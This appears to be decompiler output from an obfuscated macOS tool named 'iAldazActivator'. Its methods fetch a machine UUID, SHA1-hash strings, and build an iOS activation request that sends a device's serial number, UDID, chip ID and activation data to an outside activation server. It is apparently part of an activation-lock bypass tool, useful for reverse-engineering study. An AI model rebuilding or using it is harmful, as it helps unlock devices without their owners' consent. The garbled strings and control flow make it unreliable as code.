// 1000996A5: conditional instruction was optimized away because %var_3C.4==D66AAA00
// 1000996F8: variable 'v7' is possibly undefined
//----- (0000000100099710) ----------------------------------------------------
id __cdecl -[NSObject getMachineID](NSObject *self, SEL a2)
{
bool v2; // zf
int v3; // eax
int v4; // ecx
char v5; // cf
int v6; // ecx
bool v7; // zf
int v8; // ecx
bool v9; // cf
int v10; // ecx
id v11; // rax
int *v12; // rax
int *v14; // [rsp+0h] [rbp-90h] BYREF
id v15; // [rsp+8h] [rbp-88h]
timespec *v16; // [rsp+10h] [rbp-80h]
char *__attribute__((__org_typedef(uuid_string_t))) out; // [rsp+18h] [rbp-78h]
FILE *v18; // [rsp+20h] [rbp-70h]
FILE *v19; // [rsp+28h] [rbp-68h]
unsigned int v20; // [rsp+34h] [rbp-5Ch]
int v21; // [rsp+38h] [rbp-58h]
int v22; // [rsp+3Ch] [rbp-54h] BYREF
unsigned __int8 *__attribute__((__org_typedef(uuid_t))) uu; // [rsp+40h] [rbp-50h]
id v24; // [rsp+48h] [rbp-48h]
int v25; // [rsp+50h] [rbp-40h]
bool v26; // [rsp+56h] [rbp-3Ah]
char v27; // [rsp+57h] [rbp-39h]
int *v28; // [rsp+58h] [rbp-38h]
__int64 v29; // [rsp+60h] [rbp-30h]
v29 = -1;
v20 = 487116813;
v22 = -994083301;
v28 = &v22;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v22 > 136785432 )
{
if ( v22 > 1023116174 )
{
if ( v22 <= 1513373995 )
{
if ( v22 > 1079931667 )
{
if ( v22 > 1351577203 )
{
if ( v22 == 1351577204 )
{
*v28 = 222431814;
}
else if ( v22 == 1412534007 )
{
*v28 = 903728304;
}
}
else
{
if ( v22 == 1079931668 )
{
byte_1002738C9 = v27 ^ 0xB;
strcpy(&byte_1002738CA, "get system UUID: timeout expired");
goto LABEL_141;
}
if ( v22 == 1329168197 )
{
fputs(&byte_100273920, v18);
*v28 = 60592644;
}
}
}
else if ( v22 > 1043188209 )
{
if ( v22 == 1043188210 )
{
*v28 = 1757767071;
}
else if ( v22 == 1073309812 )
{
uuid_unparse_upper(uu, out);
v15 = &OBJC_CLASS___NSString;
*v28 = -1762753364;
}
}
else if ( v22 == 1023116175 )
{
qmemcpy(&byte_100273920, "Failed to get system", 20);
*v28 = 1520194427;
}
else if ( v22 == 1040442051 )
{
LABEL_47:
*v28 = -1999558202;
}
}
else if ( v22 <= 1757767070 )
{
if ( v22 > 1584794847 )
{
if ( v22 == 1584794848 )
{
fputs(&byte_1002738C0, v19);
*v28 = 985240748;
}
else if ( v22 == 1632099565 )
{
v7 = 0;
v25 = *v14;
v3 = 57955432;
v8 = 1632099565;
goto LABEL_174;
}
}
else
{
if ( v22 == 1513373996 )
{
v9 = 0;
v3 = -1795231383;
v10 = -419880574;
goto LABEL_165;
}
if ( v22 == 1520194427 )
{
v5 = 0;
v3 = -1895981023;
v6 = 494067905;
goto LABEL_170;
}
}
}
else if ( v22 <= 2048667293 )
{
if ( v22 == 1757767071 )
{
*v28 = -955343833;
}
else if ( v22 == 1851951478 )
{
objc_autoreleaseReturnValue(v24);
*v28 = -1426783301;
}
}
else
{
switch ( v22 )
{
case 2048667294:
*v28 = -383868789;
break;
case 2050018219:
v3 = -1100829818;
if ( v25 < 35 )
v3 = 377092957;
LABEL_182:
*v28 = v3;
break;
case 2118583336:
LABEL_141:
*v28 = -1865697129;
break;
}
}
}
else if ( v22 <= 532332035 )
{
if ( v22 > 313497047 )
{
if ( v22 > 430719400 )
{
if ( v22 == 430719401 )
{
dword_10029F470 = 1;
v16 = (timespec *)&v14;
uu = (unsigned __int8 *)&v14;
v9 = 0;
out = (char *)(&v14 - 6);
v3 = -1357324270;
v10 = 566896393;
goto LABEL_165;
}
if ( v22 == 494067905 )
{
strcpy(&byte_100273934, " UUID: unknown error");
byte_1002738C0 = 70;
byte_1002738C1 = 97;
byte_1002738C2 = 105;
byte_1002738C3 = 108;
byte_1002738C4 = 101;
byte_1002738C5 = 100;
byte_1002738C6 = 32;
byte_1002738C7 = 116;
v5 = 1;
byte_1002738C8 = 111;
v27 = 43;
v3 = -532532655;
v6 = -1895981023;
goto LABEL_170;
}
}
else if ( v22 == 313497048 )
{
*v28 = 1073309812;
}
else if ( v22 == 377092957 )
{
v7 = v25 == 14;
v3 = 1073309812;
v8 = -1807396122;
goto LABEL_174;
}
}
else if ( v22 > 232333794 )
{
if ( v22 == 232333795 )
{
*v16 = (timespec)xmmword_10025A3E0;
*(_OWORD *)uu = 0;
*v28 = -1066176733;
}
else if ( v22 == 255021425 )
{
v9 = 1;
v3 = 136785433;
v10 = 532332036;
goto LABEL_165;
}
}
else if ( v22 == 136785433 )
{
*v28 = 532332036;
}
else if ( v22 == 222431814 )
{
v7 = 0;
v21 = dword_10029F470;
v3 = -287069882;
v8 = 1351577204;
goto LABEL_174;
}
}
else if ( v22 <= 844737344 )
{
if ( v22 > 593805291 )
{
if ( v22 == 593805292 )
{
v9 = 1;
v3 = -1955128502;
v10 = 313497048;
goto LABEL_165;
}
if ( v22 == 833412391 )
*v28 = -1620299081;
}
else
{
if ( v22 == 532332036 )
{
v9 = 1;
v19 = (FILE *)-1LL;
v3 = 532332036;
v10 = 1412534007;
goto LABEL_165;
}
if ( v22 == 566896393 )
{
dword_10029F470 = 1;
*v28 = 430719401;
}
}
}
else if ( v22 <= 881642310 )
{
if ( v22 == 844737345 )
{
*v28 = -824908477;
}
else if ( v22 == 856564515 )
{
v5 = 1;
v3 = 1632099565;
v6 = -834056209;
goto LABEL_170;
}
}
else
{
switch ( v22 )
{
case 881642311:
goto LABEL_47;
case 903728304:
v2 = 0;
v3 = 1584794848;
v4 = 985240748;
goto LABEL_180;
case 985240748:
fputs(&byte_1002738C0, v19);
v5 = 1;
v3 = -499280367;
v6 = 1584794848;
goto LABEL_170;
}
}
}
if ( v22 > -1004742001 )
break;
if ( v22 <= -1698038743 )
{
if ( v22 > -1865697130 )
{
if ( v22 > -1795231384 )
{
if ( v22 == -1795231383 )
{
v7 = 0;
v3 = -772580505;
v8 = -419880574;
goto LABEL_174;
}
if ( v22 == -1762753364 )
{
v11 = objc_msgSend(v15, "stringWithCString:encoding:", out, 4);
v24 = objc_retainAutoreleasedReturnValue(v11);
*v28 = -394873244;
}
}
else
{
if ( v22 == -1865697129 )
{
byte_1002738C9 = v27 ^ 0xB;
strcpy(&byte_1002738CA, "get system UUID: timeout expired");
v2 = 0;
v3 = 1079931668;
v4 = 844737345;
goto LABEL_180;
}
if ( v22 == -1807396122 )
{
v18 = (FILE *)-1LL;
*v28 = -1911565436;
}
}
}
else if ( v22 > -1911565437 )
{
if ( v22 == -1911565436 )
{
v9 = 1;
v3 = 1329168197;
v10 = 60592644;
goto LABEL_165;
}
if ( v22 == -1895981023 )
{
strcpy(&byte_100273934, " UUID: unknown error");
byte_1002738C0 = 70;
byte_1002738C1 = 97;
byte_1002738C2 = 105;
byte_1002738C3 = 108;
byte_1002738C4 = 101;
byte_1002738C5 = 100;
byte_1002738C6 = 32;
byte_1002738C7 = 116;
byte_1002738C8 = 111;
*v28 = 494067905;
}
}
else
{
if ( v22 == -1999558202 )
{
v26 = v21 == 0;
v5 = 1;
v3 = 2048667294;
v6 = 1040442051;
goto LABEL_170;
}
if ( v22 == -1955128502 )
*v28 = 593805292;
}
}
else if ( v22 <= -1426783302 )
{
if ( v22 > -1620299082 )
{
if ( v22 == -1620299081 )
{
v5 = 1;
v3 = -1258139313;
LABEL_169:
v6 = -1620299081;
LABEL_170:
if ( !v5 )
v3 = v6;
goto LABEL_182;
}
if ( v22 == -1525637811 )
*v28 = 856564515;
}
else
{
if ( v22 == -1698038742 )
{
v12 = __error();
v7 = 0;
v14 = v12;
v3 = -1525637811;
v8 = -1698038742;
goto LABEL_174;
}
if ( v22 == -1644307505 )
{
HikariFunctionWrapper_1430();
goto LABEL_132;
}
}
}
else if ( v22 <= -1258139314 )
{
if ( v22 == -1426783301 )
{
objc_autoreleaseReturnValue(v24);
v9 = 1;
v3 = 1851951478;
v10 = -1001550960;
LABEL_165:
if ( v9 )
v3 = v10;
goto LABEL_182;
}
if ( v22 == -1357324270 )
*v28 = 232333795;
}
else
{
switch ( v22 )
{
case -1258139313:
v2 = !v26;
v3 = -824908477;
v4 = 1023116175;
LABEL_180:
if ( !v2 )
v3 = v4;
goto LABEL_182;
case -1100829818:
v7 = v25 == 35;
v3 = 1073309812;
v8 = 255021425;
LABEL_174:
if ( v7 )
v3 = v8;
goto LABEL_182;
case -1066176733:
v7 = gethostuuid(uu, v16) == -1;
v3 = 1073309812;
v8 = -311769294;
goto LABEL_174;
}
}
}
if ( v22 <= -532532656 )
break;
if ( v22 <= -383868790 )
{
if ( v22 > -419880575 )
{
if ( v22 == -419880574 )
{
*v28 = -1795231383;
}
else if ( v22 == -394873244 )
{
v5 = 0;
v3 = 1851951478;
v6 = -1426783301;
goto LABEL_170;
}
}
else if ( v22 == -532532655 )
{
*v28 = 2118583336;
}
else if ( v22 == -499280367 )
{
*v28 = -734740014;
}
}
else if ( v22 <= -287069883 )
{
if ( v22 == -383868789 )
{
v5 = 0;
v3 = 833412391;
goto LABEL_169;
}
if ( v22 == -311769294 )
LABEL_132:
*v28 = -1698038742;
}
else
{
switch ( v22 )
{
case -287069882:
*v28 = 881642311;
break;
case 57955432:
*v28 = -720522242;
break;
case 60592644:
fputs(&byte_100273920, v18);
v2 = 0;
v3 = 60592644;
v4 = -1004742000;
goto LABEL_180;
}
}
}
if ( v22 <= -824908478 )
break;
if ( v22 > -734740015 )
{
if ( v22 == -734740014 )
{
v9 = 0;
v3 = 593805292;
v10 = -1955128502;
goto LABEL_165;
}
if ( v22 == -720522242 )
{
v5 = 1;
v3 = 1757767071;
v6 = 1043188210;
goto LABEL_170;
}
}
else
{
if ( v22 == -824908477 )
{
v5 = 0;
v3 = 566896393;
v6 = 430719401;
goto LABEL_170;
}
if ( v22 == -772580505 )
*v28 = 255021425;
}
}
if ( v22 <= -955343834 )
break;
if ( v22 == -955343833 )
{
*v28 = 2050018219;
}
else if ( v22 == -834056209 )
{
*v28 = 1632099565;
}
}
if ( v22 != -1004742000 )
break;
*v28 = 1513373996;
}
if ( v22 == -994083301 )
{
v9 = v20 < 0x19CE046B;
v3 = 222431814;
v10 = 1351577204;
goto LABEL_165;
}
}
while ( v22 != -1001550960 );
return v24;
}
// 10025A3E0: using guessed type __int128 xmmword_10025A3E0;
// 1002738C1: using guessed type char byte_1002738C1;
// 1002738C2: using guessed type char byte_1002738C2;
// 1002738C3: using guessed type char byte_1002738C3;
// 1002738C4: using guessed type char byte_1002738C4;
// 1002738C5: using guessed type char byte_1002738C5;
// 1002738C6: using guessed type char byte_1002738C6;
// 1002738C7: using guessed type char byte_1002738C7;
// 1002738C8: using guessed type char byte_1002738C8;
// 1002738C9: using guessed type char byte_1002738C9;
// 1002738CA: using guessed type char byte_1002738CA;
// 100273934: using guessed type char byte_100273934;
// 10029F470: using guessed type int dword_10029F470;
//----- (000000010009AF6B) ----------------------------------------------------
// bad sp value at call has been detected, the output may be wrong!
id __cdecl -[NSObject hasher:](NSObject *self, SEL a2, id a3)
{
int v4; // eax
id v5; // rax
id v6; // r15
CC_LONG v7; // eax
char v8; // cf
int v9; // ecx
NSMutableString *v10; // rax
bool v11; // cf
int v12; // ecx
id v13; // rax
id v14; // r12
id v15; // r13
CC_LONG v16; // eax
id v17; // rax
id v18; // rax
__int64 v19; // r15
__int64 v20; // r15
int v21; // eax
unsigned __int8 v23[40]; // [rsp+0h] [rbp-A0h] BYREF
SEL v24; // [rsp+28h] [rbp-78h]
unsigned __int8 *md; // [rsp+30h] [rbp-70h]
__int64 v26; // [rsp+38h] [rbp-68h]
unsigned int v27; // [rsp+44h] [rbp-5Ch]
int v28; // [rsp+48h] [rbp-58h]
int v29; // [rsp+4Ch] [rbp-54h] BYREF
id v30; // [rsp+50h] [rbp-50h]
id v31; // [rsp+58h] [rbp-48h]
bool v32; // [rsp+66h] [rbp-3Ah]
char v33; // [rsp+67h] [rbp-39h]
int *v34; // [rsp+68h] [rbp-38h]
__int64 v35; // [rsp+70h] [rbp-30h]
v35 = -1;
v27 = -1673761218;
v29 = -765845839;
v34 = &v29;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v29 > 458736315 )
{
if ( v29 <= 997619963 )
{
if ( v29 > 653278419 )
{
if ( v29 > 742677376 )
{
if ( v29 == 742677377 )
{
v19 = v26;
objc_msgSend(v31, v24, CFSTR("WyG\x19\xFD"), md[v26]);
v20 = (v19 & 1) + (v19 | 1);
v21 = 742677377;
if ( v20 == 20 )
v21 = -1153164585;
*v34 = v21;
v26 = v20;
}
else if ( v29 == 909508360 )
{
dword_10029F474 = 1;
v13 = HikariFunctionWrapper_1440(a3, "dataUsingEncoding:");
v14 = objc_retainAutoreleasedReturnValue(v13);
objc_retainAutorelease(v14);
v15 = objc_msgSend(v14, "bytes");
v16 = (unsigned int)HikariFunctionWrapper_1442(v14, "length");
CC_SHA1(v15, v16, v23);
*v34 = -1298214269;
}
}
else if ( v29 == 653278420 )
{
aWyg[2] = 50;
aWyg[3] = 120;
v33 = 24;
*v34 = -892449214;
}
else if ( v29 == 660449950 )
{
objc_release(v30);
*v34 = 522549725;
}
}
else if ( v29 > 522549724 )
{
if ( v29 == 522549725 )
{
v4 = -2078883159;
goto LABEL_93;
}
if ( v29 == 545933427 )
{
v4 = -1298214269;
goto LABEL_93;
}
}
else
{
if ( v29 == 458736316 )
{
v11 = 1;
v4 = 1053843834;
v12 = 997619964;
LABEL_75:
if ( v11 )
v4 = v12;
goto LABEL_93;
}
if ( v29 == 508792271 )
{
objc_autoreleaseReturnValue(v31);
*v34 = -2078883159;
}
}
}
else if ( v29 <= 1292381716 )
{
if ( v29 > 1092942540 )
{
if ( v29 == 1092942541 )
{
*v34 = 742677377;
v26 = 0;
}
else if ( v29 == 1221836254 )
{
*v34 = 66221063;
}
}
else
{
if ( v29 == 997619964 )
{
v32 = v28 == 0;
v8 = 1;
v4 = 1292381717;
v9 = 1053843834;
goto LABEL_91;
}
if ( v29 == 1053843834 )
*v34 = 997619964;
}
}
else if ( v29 <= 1761371198 )
{
if ( v29 == 1292381717 )
{
*v34 = -1213355743;
}
else if ( v29 == 1508381475 )
{
v11 = 1;
v4 = 1221836254;
v12 = 66221063;
goto LABEL_75;
}
}
else
{
switch ( v29 )
{
case 1761371199:
*v34 = -1478523022;
break;
case 1850713532:
*v34 = 2128470806;
break;
case 2128470806:
v4 = 244403085;
goto LABEL_93;
}
}
}
if ( v29 <= -892449215 )
break;
if ( v29 > 66221062 )
{
if ( v29 > 244403084 )
{
if ( v29 == 244403085 )
{
v17 = HikariFunctionWrapper_1438(&OBJC_CLASS___NSMutableString, "stringWithCapacity:");
v18 = objc_retainAutoreleasedReturnValue(v17);
v11 = 1;
v31 = v18;
v24 = "appendFormat:";
v4 = 233214023;
v12 = 306225510;
goto LABEL_75;
}
if ( v29 == 306225510 )
*v34 = 1508381475;
}
else if ( v29 == 66221063 )
{
*v34 = 1092942541;
}
else if ( v29 == 233214023 )
{
v10 = +[NSMutableString stringWithCapacity:](&OBJC_CLASS___NSMutableString, "stringWithCapacity:", 40);
objc_retainAutoreleasedReturnValue(v10);
*v34 = 244403085;
}
}
else if ( v29 > -765845840 )
{
if ( v29 == -765845839 )
{
v11 = v27 < 0x965CC2E0;
v4 = -1092952263;
v12 = -813567191;
goto LABEL_75;
}
if ( v29 == -645519629 )
*v34 = 458736316;
}
else if ( v29 == -892449214 )
{
aWyg[4] = v33 ^ 0x18;
*v34 = 545933427;
}
else if ( v29 == -813567191 )
{
*v34 = -1092952263;
}
}
if ( v29 <= -1213355744 )
break;
if ( v29 > -1092952264 )
{
if ( v29 == -1092952263 )
{
v8 = 0;
v28 = dword_10029F474;
v4 = -813567191;
v9 = -645519629;
LABEL_91:
if ( !v8 )
v4 = v9;
goto LABEL_93;
}
if ( v29 == -936416077 )
*v34 = 660449950;
}
else if ( v29 == -1213355743 )
{
v4 = 545933427;
if ( v32 )
v4 = -1918432550;
LABEL_93:
*v34 = v4;
}
else if ( v29 == -1153164585 )
{
v11 = 0;
v4 = -1478523022;
v12 = 1761371199;
goto LABEL_75;
}
}
if ( v29 > -1478523023 )
break;
if ( v29 == -2078883159 )
{
objc_autoreleaseReturnValue(v31);
v4 = -1348018542;
goto LABEL_93;
}
if ( v29 == -1918432550 )
{
aWyg[0] = 37;
aWyg[1] = 48;
*v34 = 653278420;
}
}
if ( v29 != -1478523022 )
break;
*v34 = -936416077;
}
if ( v29 == -1298214269 )
{
dword_10029F474 = 1;
md = v23;
v5 = HikariFunctionWrapper_1432(a3, "dataUsingEncoding:");
v30 = objc_retainAutoreleasedReturnValue(v5);
objc_retainAutorelease(v30);
v6 = HikariFunctionWrapper_1434(v30, "bytes");
v7 = (unsigned int)HikariFunctionWrapper_1436(v30, "length");
CC_SHA1(v6, v7, md);
v8 = 1;
v4 = 1850713532;
v9 = 909508360;
goto LABEL_91;
}
}
while ( v29 != -1348018542 );
return v31;
}
// 10009B44E: bad sp value at call
// 100273980: using guessed type __CFString cfstr_Wyg;
// 10029F474: using guessed type int dword_10029F474;
//----- (000000010009B83F) ----------------------------------------------------
id __cdecl -[NSObject factoryRequest:device:](NSObject *self, SEL a2, id a3, _AMDevice *a4)
{
id *v4; // r15
id v5; // rax
id v6; // r13
_QWORD *v7; // r9
_QWORD *v8; // rcx
NSDictionary *v9; // rax
NSDictionary *v10; // r14
NSData *v12; // rax
NSData *v13; // r14
id v14; // r12
id v15; // rax
NSString *v16; // rax
__CFString *v17; // rbx
__CFString *v18; // r14
NSString *v19; // rax
__CFString *v20; // rbx
__CFString *v21; // r15
NSString *v22; // rax
id v23; // rax
id v24; // rax
id v25; // r13
NSTimeZone *v26; // rax
NSTimeZone *v27; // rax
id v28; // rax
id v29; // rbx
id v30; // rax
id v31; // r15
id v32; // rax
id v33; // r12
id v34; // rbx
CC_LONG v35; // eax
unsigned int v36; // r15d
unsigned int v37; // r13d
id v38; // rax
id v39; // rax
id v40; // rax
id v41; // r13
id v42; // rax
__CFString *v43; // rbx
__CFString *v44; // rdx
id v45; // rax
id v46; // rbx
NSString *v47; // rax
__CFString *v48; // r14
__CFString *v49; // rdx
id v50; // rax
id v51; // r14
void **v52; // r14
NSData *v53; // rax
NSData *v54; // r15
void *v55; // r14
_QWORD *v56; // rcx
_QWORD *v57; // rdx
NSDictionary *v58; // rax
_QWORD *v59; // r14
_QWORD *v60; // r13
id v61; // rax
id v62; // rbx
id v63; // r14
id v64; // rax
id v65; // rax
id v66; // r12
NSURL *v67; // rax
NSMutableURLRequest *v68; // rax
NSMutableURLRequest *v69; // r13
id v70; // rax
NSString *v71; // rax
NSString *v72; // rax
id v73; // rax
id v74; // r14
NSURLSessionConfiguration *v75; // rax
NSURLSessionConfiguration *v76; // rbx
NSURLSession *v77; // rax
NSURLSession *v78; // rax
_QWORD *v79; // r14
NSURLSession *v80; // r15
id v81; // rax
id v82; // r12
_QWORD *v83; // r15
_QWORD *v84; // rdi
_QWORD *v85; // r12
_QWORD *v86; // r13
dispatch_semaphore_t v87; // rax
void *v88; // r12
void *v89; // rbx
id *v90; // r13
dispatch_semaphore_t v91; // r14
id *v92; // r12
id v93; // rax
id v94; // rax
__CFString *v95; // rbx
__CFString **v96; // r14
id *v97; // r15
id v98; // r13
dispatch_time_t v99; // rax
__int64 v100; // rdx
id v101; // rax
void *v102; // rdi
id v103; // rax
__CFString *v104; // r12
__CFString *v105; // rdx
_QWORD *v106; // rdx
id *v107; // rcx
_QWORD *v108; // r9
id *v109; // r10
__CFString *v110; // rcx
id v111; // rax
id v112; // rax
void *v113; // r15
id *v114; // r14
NSDictionary *v115; // rax
id *v116; // rbx
_BYTE v117[16]; // [rsp+40h] [rbp-180h] BYREF
_BYTE v118[16]; // [rsp+50h] [rbp-170h] BYREF
_BYTE v119[24]; // [rsp+60h] [rbp-160h] BYREF
id *v120; // [rsp+78h] [rbp-148h]
id *v121; // [rsp+80h] [rbp-140h]
id *v122; // [rsp+88h] [rbp-138h]
id *v123; // [rsp+90h] [rbp-130h]
id *v124; // [rsp+98h] [rbp-128h]
void *v125; // [rsp+A0h] [rbp-120h]
id v126; // [rsp+A8h] [rbp-118h]
id v127; // [rsp+B0h] [rbp-110h]
id v128; // [rsp+B8h] [rbp-108h]
id v129; // [rsp+C0h] [rbp-100h]
id v130; // [rsp+C8h] [rbp-F8h]
dispatch_block_t block; // [rsp+D0h] [rbp-F0h]
id v132; // [rsp+D8h] [rbp-E8h]
id v133; // [rsp+E0h] [rbp-E0h]
id v134; // [rsp+E8h] [rbp-D8h]
id v135; // [rsp+F0h] [rbp-D0h]
id *v136; // [rsp+F8h] [rbp-C8h]
id v137; // [rsp+100h] [rbp-C0h]
id v138; // [rsp+108h] [rbp-B8h]
id v139; // [rsp+110h] [rbp-B0h]
id v140; // [rsp+118h] [rbp-A8h]
id v141; // [rsp+120h] [rbp-A0h]
id v142; // [rsp+128h] [rbp-98h]
unsigned __int8 *md; // [rsp+130h] [rbp-90h]
id v144; // [rsp+138h] [rbp-88h]
id v145; // [rsp+140h] [rbp-80h]
id v146; // [rsp+148h] [rbp-78h]
void *v147; // [rsp+150h] [rbp-70h]
id v148; // [rsp+158h] [rbp-68h] BYREF
id v149; // [rsp+160h] [rbp-60h]
NSDictionary *v150; // [rsp+168h] [rbp-58h]
void *v151; // [rsp+170h] [rbp-50h]
void *v152; // [rsp+178h] [rbp-48h]
id v153; // [rsp+180h] [rbp-40h]
id v154[7]; // [rsp+188h] [rbp-38h] BYREF
v154[1] = (id)-1LL;
if ( !dword_10029F478 )
{
asc_100273F5E[0] = 118;
asc_100273F5E[1] = 101;
asc_100273F5E[2] = 114;
asc_100273F5E[3] = 115;
asc_100273F5E[4] = 105;
asc_100273F5E[5] = 111;
asc_100273F5E[6] = 110;
asc_100273F5E[7] = 0;
strcpy(asc_100273F20, "Invalid activation info");
strcpy(asc_100273EB0, "https://itunes.ialdaz-activator.com/API/AldazDevA12/legacyActivation.php");
asc_100273DD2[0] = 100;
asc_100273DD2[1] = 101;
asc_100273DD2[2] = 118;
asc_100273DD2[3] = 105;
asc_100273DD2[4] = 99;
asc_100273DD2[5] = 101;
asc_100273DD2[6] = 0;
strcpy(aU_5, "User-Agent");
aL3[0] = 97;
aL3[1] = 108;
aL3[2] = 100;
aL3[3] = 97;
aL3[4] = 122;
aL3[5] = 100;
aL3[6] = 101;
aL3[7] = 118;
aL3[8] = 0;
asc_100273CAD[0] = 37;
asc_100273CAD[1] = 64;
asc_100273CAD[2] = 45;
asc_100273CAD[3] = 37;
asc_100273CAD[4] = 64;
asc_100273CAD[5] = 45;
asc_100273CAD[6] = 37;
asc_100273CAD[7] = 64;
asc_100273CAD[8] = 0;
strcpy(asc_100273D10, "%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X");
strcpy(asc_100273C06, "Content-Type");
strcpy(a7ZY, "Failed to serialize activation info");
strcpy(aW_5, "SerialNumber");
aB_3[0] = 80;
aB_3[1] = 79;
aB_3[2] = 83;
aB_3[3] = 84;
aB_3[4] = 0;
strcpy(asc_100273BEF, "X-APP-MID");
strcpy(asc_100273F47, "yyyyMMddHHmmss");
strcpy(asc_100273BD8, "UniqueChipID");
strcpy(asc_100273D61, "ProductType");
aC_8[0] = 99;
aC_8[1] = 111;
aC_8[2] = 109;
aC_8[3] = 109;
aC_8[4] = 97;
aC_8[5] = 110;
aC_8[6] = 100;
aC_8[7] = 0;
strcpy(asc_100273A00, "AldazActivator/2.0 (Platform; OS) MobileDevice/5.0");
strcpy(asc_100273B8D, "X-Status-Device");
strcpy(asc_100273E00, "No response data");
strcpy(asc_100273BBC, "UniqueDeviceID");
asc_100273D71[0] = 85;
asc_100273D71[1] = 84;
asc_100273D71[2] = 67;
asc_100273D71[3] = 0;
strcpy(a7, "ialdazActivator3.2.1");
strcpy(asc_100273AE0, "compatibilityData");
asc_100273D8F[0] = 115;
asc_100273D8F[1] = 117;
asc_100273D8F[2] = 99;
asc_100273D8F[3] = 99;
asc_100273D8F[4] = 101;
asc_100273D8F[5] = 115;
asc_100273D8F[6] = 115;
asc_100273D8F[7] = 0;
strcpy(asc_100273AA5, "application/xml");
strcpy(asc_100273A5F, "iAldazActivator");
strcpy(aS_5, "X-App-Version");
strcpy(asc_100273B60, "Failed to build request body");
strcpy(aVv, "statusCode");
strcpy(asc_100273E40, "ActivationRecord");
strcpy(asc_100273C3C, "ProductVersion");
asc_100273A91[0] = 37;
asc_100273A91[1] = 108;
asc_100273A91[2] = 117;
asc_100273A91[3] = 0;
aJ_6[0] = 102;
aJ_6[1] = 97;
aJ_6[2] = 105;
aJ_6[3] = 108;
aJ_6[4] = 101;
aJ_6[5] = 100;
aJ_6[6] = 0;
strcpy(asc_100273A7E, "Content-Length");
strcpy(asc_100273DBC, "signActRequest");
strcpy(asc_1002739AF, "Empty response");
}
v154[0] = self;
v149 = a3;
dword_10029F478 = 1;
v137 = v119;
v139 = v119;
v153 = v119;
md = v118;
v134 = v119;
v146 = v119;
v145 = v119;
block = v117;
v147 = v117;
v152 = v117;
v151 = v118;
v138 = v119;
v142 = v119;
do
{
v148 = 0;
v136 = &v148;
v150 = (NSDictionary *)v154;
objc_retain(v149);
}
while ( (unsigned int)v148 > 0x5CA8E145 );
v124 = v154;
v123 = v154;
v122 = v154;
v121 = v154;
v120 = v154;
v4 = (id *)v142;
if ( v149
&& (v5 = +[NSDictionary class](&OBJC_CLASS___NSDictionary, "class"),
(unsigned __int8)objc_msgSend(v149, "isKindOfClass:", v5)) )
{
v6 = v149;
*v4 = 0;
v12 = +[NSPropertyListSerialization dataWithPropertyList:format:options:error:](
&OBJC_CLASS___NSPropertyListSerialization,
"dataWithPropertyList:format:options:error:",
v6,
100,
0,
v4);
v13 = objc_retainAutoreleasedReturnValue(v12);
v14 = *v4;
objc_retain(*v4);
v135 = v13;
if ( v13 != 0 && v14 == 0 )
{
do
{
LODWORD(v153) = 331613685;
v15 = HikariFunctionWrapper_1444(v135, "base64EncodedStringWithOptions:");
v139 = objc_retainAutoreleasedReturnValue(v15);
v16 = +[iOSDevice SerialNumber](&OBJC_CLASS___iOSDevice, "SerialNumber");
v17 = objc_retainAutoreleasedReturnValue(v16);
v18 = v17;
if ( !v17 )
v18 = &stru_10025B688;
objc_retain(v18);
objc_release(v17);
v19 = +[iOSDevice UDID](&OBJC_CLASS___iOSDevice, "UDID");
v20 = objc_retainAutoreleasedReturnValue(v19);
v21 = v20;
if ( !v20 )
v21 = &stru_10025B688;
objc_retain(v21);
objc_release(v20);
v142 = v21;
v22 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("+\x93\xA1#\x98\x83\xFE^R"),
v18,
v21,
CFSTR("\x02{'L3\xADJ\x7F}"));
v138 = objc_retainAutoreleasedReturnValue(v22);
v23 = objc_msgSend(v154[0], "hasher:", v138);
v148 = objc_retainAutoreleasedReturnValue(v23);
v24 = objc_alloc((Class)&OBJC_CLASS___NSDateFormatter);
v25 = objc_msgSend(v24, "init");
v26 = +[NSTimeZone timeZoneWithAbbreviation:](
&OBJC_CLASS___NSTimeZone,
"timeZoneWithAbbreviation:",
CFSTR("\xCF\xE0\xB9\b"));
v27 = objc_retainAutoreleasedReturnValue(v26);
HikariFunctionWrapper_1446(v25, "setTimeZone:");
objc_release(v27);
objc_msgSend(v25, "setDateFormat:", CFSTR("\a\xC7\xDC=\xE7\x36\x50!6\x066\xB1\x8A"));
v28 = HikariFunctionWrapper_1448(&OBJC_CLASS___NSDate, "date");
v29 = objc_retainAutoreleasedReturnValue(v28);
v30 = objc_msgSend(v25, "stringFromDate:", v29);
v31 = objc_retainAutoreleasedReturnValue(v30);
objc_release(v29);
v32 = objc_msgSend(v31, "dataUsingEncoding:", 4);
v33 = objc_retainAutoreleasedReturnValue(v32);
objc_retainAutorelease(v33);
v34 = objc_msgSend(v33, "bytes");
v137 = v33;
v35 = (__int64)objc_msgSend(v33, "length");
CC_SHA1(v34, v35, md);
}
while ( (_DWORD)v153 == 1921941316 );
v126 = v31;
v133 = v25;
v36 = *md;
LODWORD(v153) = md[1];
v37 = md[2];
LODWORD(v144) = md[3];
v38 = HikariFunctionWrapper_1450(
&OBJC_CLASS___NSString,
"stringWithFormat:",
(__int64)CFSTR("\x19㗺\xE2\xE5\xC6\x97\x82\x05O\xFF\xA5\xAF\xE0\x8D\x4D\xAB2z\xEC\xF6\x7D\xA3\x81[\x94\x9E\xF8\xE6\xED\xB70hs<\xDA\x5E0\x83\xF5\xC2\x30\xA7R'\x9F\x9E\xEF\x2B\xE4e\x80X\xFBy\xF1\xD3\xEF\x8F6\xC5\x7EJ\xEB\xB8\x13\xB4+"),
v36,
md[14],
v37,
md[5],
md[4],
md[5],
md[6],
md[7],
md[8],
md[9],
md[10],
md[11],
md[12],
md[13],
md[14],
md[15]);
v140 = objc_retainAutoreleasedReturnValue(v38);
v39 = HikariFunctionWrapper_1452(v137, "base64EncodedStringWithOptions:");
v141 = objc_retainAutoreleasedReturnValue(v39);
v40 = +[NSMutableDictionary dictionary](&OBJC_CLASS___NSMutableDictionary, "dictionary");
v41 = objc_retainAutoreleasedReturnValue(v40);
v42 = HikariFunctionWrapper_1454(&OBJC_CLASS___iOSDevice, "ProductType");
v43 = (__CFString *)objc_retainAutoreleasedReturnValue(v42);
v44 = v43;
if ( !v43 )
v44 = &stru_10025B688;
